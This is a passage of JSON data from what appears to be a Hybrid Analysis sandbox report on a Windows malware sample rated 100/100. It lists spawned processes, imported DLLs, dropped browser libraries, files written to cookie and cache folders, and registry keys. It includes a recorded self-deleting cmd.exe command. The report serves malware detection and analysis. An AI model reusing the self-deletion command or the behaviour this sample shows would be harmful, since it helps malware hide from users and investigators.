no-cache","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}],"processes":[{"pid":2600,"ppid":0,"name":"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.exe","command_line":"","sha256":"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","normalized_path":"C:\\b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.exe","uid":"00000000-00002600","icon":"$37"},{"pid":3148,"ppid":2600,"name":"AppLaunch.exe","command_line":"","sha256":"cfa7d98ad44c7fb11de5ff07da04f8fd4a3423564de05f87ba5e10bd13a1fe59","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe","parent_uid":"00000000-00002600","uid":"00000000-00003148"},{"pid":3688,"ppid":3148,"name":"cmd.exe","command_line":"/c timeout /t 6 & del /f /q \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" & exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003148","uid":"00000000-00003688"},{"pid":316,"ppid":3688,"name":"timeout.exe","command_line":"timeout /t 6","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","normalized_path":"%WINDIR%\\system32\\timeout.exe","parent_uid":"00000000-00003688","uid":"00000000-00000316"}],"all_imported_dlls":["dwmapi.dll","urlmon.dll","mpr.dll","IPHLPAPI.DLL","rpcrt4.dll","cryptbase.dll","gdi32full.dll","advapi32.dll","uxtheme.dll","version.dll","ws2_32.dll","wow64.dll","ucrtbase.dll","SHCore.dll","powrprof.dll","winmm.dll","user32.dll","win32u.dll","imagehlp.dll","winmmbase.dll","iertutil.dll","fltLib.dll","ole32.dll","shell32.dll","msacm32.dll","bcrypt.dll","wow64win.dll","kernel32.dll","oleaut32.dll","cfgmgr32.dll","userenv.dll","wow64cpu.dll","KernelBase.dll","msvcrt.dll","shlwapi.dll","kernel.appcore.dll","samcli.dll","imm32.dll","ntdll.dll","AcGenral.dll","sechost.dll","sspicli.dll","bcryptprimitives.dll","combase.dll","gdi32.dll","msvcp_win.dll","apphelp.dll","windows.storage.dll","profapi.dll","api-ms-win-crt-filesystem-l1-1-0.dll","devobj.dll","wbemprox.dll","api-ms-win-crt-multibyte-l1-1-0.dll","nsi.dll","imageres.dll","dhcpcsvc.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","ntdsapi.dll","secur32.dll","RpcRtRemote.dll","dhcpcsvc6.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-core-file-l1-2-0.dll","xmllite.dll","msctf.dll","comctl32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","tzres.dll","WSHTCPIP.DLL","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","wbemcomn.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","crypt32.dll","msasn1.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","fastprox.dll","nlaapi.dll","npmproxy.dll","ntmarta.dll","propsys.dll","gpapi.dll","api-ms-win-crt-runtime-l1-1-0.dll","SensApi.dll","duser.dll","lpk.dll","cryptsp.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","sxs.dll","credssp.dll","winbrand.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","wbemdisp.dll","wsock32.dll","cryptnet.dll","api-ms-win-core-localization-l1-2-0.dll","ncrypt.dll","api-ms-win-core-synch-l1-2-0.dll","mswsock.dll","dnsapi.dll","api-ms-win-crt-math-l1-1-0.dll","winhttp.dll","schannel.dll","msvcp140.dll","AcLayers.dll","netprofm.dll","rsaenh.dll","usp10.dll","wship6.dll","webio.dll","setupapi.dll","wbemsvc.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wininet.dll","api-ms-win-downlevel-version-l1-1-0.dll","dbghelp.dll","WindowsCodecs.dll","wintrust.dll","Wldap32.dll","api-ms-win-core-file-l2-1-0.dll","rasadhlp.dll","nss3.dll","clbcatq.dll","mozglue.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","normaliz.dll","rpcss.dll","wshqos.dll","psapi.dll","GdiPlus.dll","winnsi.dll","vcruntime140.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","FWPUCLNT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"90209471126936899486.exe","sha256":"e61ded56075b754b1623dc3b28f673d7169293fbada5c887e6236b77c8f435c9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"asfdafdsafds_1_.exe","sha256":"e61ded56075b754b1623dc3b28f673d7169293fbada5c887e6236b77c8f435c9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"freebl3.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"mozglue.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"nss3.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"softokn3.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"msvcp140.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"vcruntime140.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"69869875688645996462331609","sha256":"c4c49e874abd38b83cb8eefe46d05d21dfc3502a69a59fb672316a50b04462c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"HUJK8KLM.txt","sha256":"615ee07ec81fa402cbe0689f31405018d4d7b25b485fd053592ccc069a0e966d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"NCNVFJSI.txt","sha256":"b1b75dcbbdd836ef4a4eac26a5f014a5670b7ff632e553cc7c5a6392e82bfc1c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sha256":"e95d3a3530ade3fdda565ffaddaac69d10445a444442a4b4967dac53ab2f8742","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"30fbb9177138cb9a636fd694f11b9aeeb84fe9054cf6d29892232d40236b4b4d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27","sha256":"dbb335bb19a2d87d0fe493013dfa631284a54edce3eb69a25d27412ecaf5068c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"70C71DBB8B7D2BBCA12DF82826D851E0_278EAB15C57802B8465F5CA2986E9B30","sha256":"f4aca2bdb1fbea7bd421a065851e2173da4c2474befa6d01d5e05ba32f12e129","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"82CB34DD3343FE727DF8890D352E0D8F","sha256":"f82af8d8e7184187be82cf6bcc64c5624e753d60734ccc88d971a35573016799","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sha256":"0258ede353793a78f1257be9f93dff9b8f2dd105feb55046ee900ecbf6a8534b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\69869875688645996462331609-wal","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\82CB34DD3343FE727DF8890D352E0D8F","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\HUJK8KLM.txt","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\90209471126936899486.exe","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\70C71DBB8B7D2BBCA12DF82826D851E0_278EAB15C57802B8465F5CA2986E9B30","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\70C71DBB8B7D2BBCA12DF82826D851E0_278EAB15C57802B8465F5CA2986E9B30","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\softokn3.dll","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\msvcp140.dll","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\freebl3.dll","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\69869875688645996462331609-shm","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\66112114382679684932882451","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%ALLUSERSPROFILE%\\66112114382679684932882451-shm","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\82CB34DD3343FE727DF8890D352E0D8F","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}]}},"report_ids":{"sandbox_job_ids":["63fea60ba35e118e520075eb","63fdb27fcc07d9c4de08c073"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Malware Sample b5b6c61866f1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b5b6c61866f1…. Malware family: Malware. Threat score 100/100. 19/28 AV engines flagged this file. 13 malicious and 31 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample b5b6c61866f1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b5b6c61866f1…. Malware family: Malware. Threat score 100/100. 19/28 AV engines flagged this file. 13 malicious and 31 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample b5b6c61866f1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b5b6c61866f1…. Malware family: Malware. Threat score 100/100. 19/28 AV engines flagged this file. 13 malicious and 31 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L38","11",{}]]